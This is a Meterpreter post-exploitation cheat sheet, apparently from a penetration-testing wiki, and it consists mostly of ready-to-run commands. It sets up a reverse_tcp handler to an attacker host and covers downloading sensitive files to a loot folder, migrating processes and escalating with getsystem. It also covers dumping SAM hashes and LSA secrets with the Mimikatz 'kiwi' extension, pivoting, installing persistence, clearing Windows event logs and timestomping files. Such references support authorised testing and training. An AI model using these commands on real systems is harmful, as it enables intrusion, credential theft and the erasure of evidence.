☼
⌃
☰

Meterpreter

Table of Contents

Advanced post-exploitation payload within the Metasploit Framework. Runs entirely in memory — no files written to disk — making it harder to detect than conventional shells. All communication is encrypted. Modular — extensions are loaded on demand rather than all at once.

Related: Metasploit Msfvenom Post Exploitation Windows Privilege Escalation Pivoting

Opening a Session

Generate a Meterpreter payload with Msfvenom, set up a handler in Metasploit, deliver the payload to the target. Once it executes, a Meterpreter session opens.

SHELL
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST $ATTACKER
msf6 > set LPORT 4444
msf6 > run -j

[*] Meterpreter session 1 opened
msf6 > sessions -i 1
meterpreter >

Core Commands

System Information

SHELL
sysinfo        # OS, hostname, architecture, domain
getuid         # current user context
getpid         # current process ID
ps             # list all running processes

Navigation and File System

SHELL
pwd            # current directory
ls             # list directory
cd C:\Users    # change directory
cat file.txt   # read file
edit file.txt  # open file editor

upload /local/file.exe C:\Temp\file.exe
download C:\sensitive.txt /loot/sensitive.txt

search -f *.config        # search for files by pattern
search -f passwords.txt -d C:\Users

Process Migration

Migrate into a more stable process to survive if the initial exploited process is killed. Also useful for inheriting another process's token (e.g. migrate to a SYSTEM process):

SHELL
ps                        # find a suitable target PID
migrate 1234              # migrate to PID 1234
migrate -N explorer.exe   # migrate by process name

Privilege Escalation

SHELL
getuid                    # confirm current privileges
getsystem                 # attempt automated local privesc
                          # (named pipe impersonation etc.)
use post/multi/recon/local_exploit_suggester
run                       # suggest local privesc exploits

Credentials

SHELL
hashdump                  # dump local SAM hashes (requires SYSTEM)
load kiwi                 # load Mimikatz extension (v4+ replaces mimikatz)
creds_all                 # dump all credentials (kiwi)
lsa_dump_sam              # dump SAM via LSA (kiwi)
lsa_dump_secrets          # dump LSA secrets (kiwi)

Network

SHELL
ipconfig                  # network interfaces
arp                       # ARP table
netstat                   # active connections
portfwd add -l 3389 -p 3389 -r 192.168.1.10   # port forward
route add 192.168.2.0/24 1                      # add pivot route via session 1

Session Management

SHELL
background      # background session, return to msfconsole (Ctrl+Z)
sessions -l     # list sessions
sessions -i 1   # re-enter session

Persistence

SHELL
run post/windows/manage/persistence_exe STARTUP=SCHEDULER
run post/linux/manage/cron_persistence

Covering Tracks

SHELL
clearev         # clear Windows event logs (Security, System, Application)
timestomp C:\evil.exe -m "01/01/2020 12:00:00"   # modify file timestamps

Post-Exploitation Modules

Once in a Meterpreter session, run post modules directly:

SHELL
run post/windows/gather/hashdump
run post/multi/gather/env
run post/windows/gather/enum_shares
run post/windows/gather/credentials/credential_collector
run post/multi/recon/local_exploit_suggester

# Or background the session and use modules from msfconsole
background
use post/windows/gather/hashdump
set SESSION 1
run

Tips

  • Migrate immediately after getting a session — the initial exploited process is often unstable; explorer.exe or svchost.exe are common migration targets
  • getsystem attempts several local privesc techniques automatically — try it before manual escalation
  • load kiwi (the modern Mimikatz loader) should only be run after migrating to a 64-bit SYSTEM process — running it as a 32-bit or low-priv process produces incomplete output
  • Meterpreter sessions are encrypted but not invisible — EDR products detect the injection pattern and network behaviour even without seeing plaintext traffic
  • portfwd and route add are the quickest ways to pivot through a compromised host; see Pivoting for Chisel and Ligolo-ng as alternatives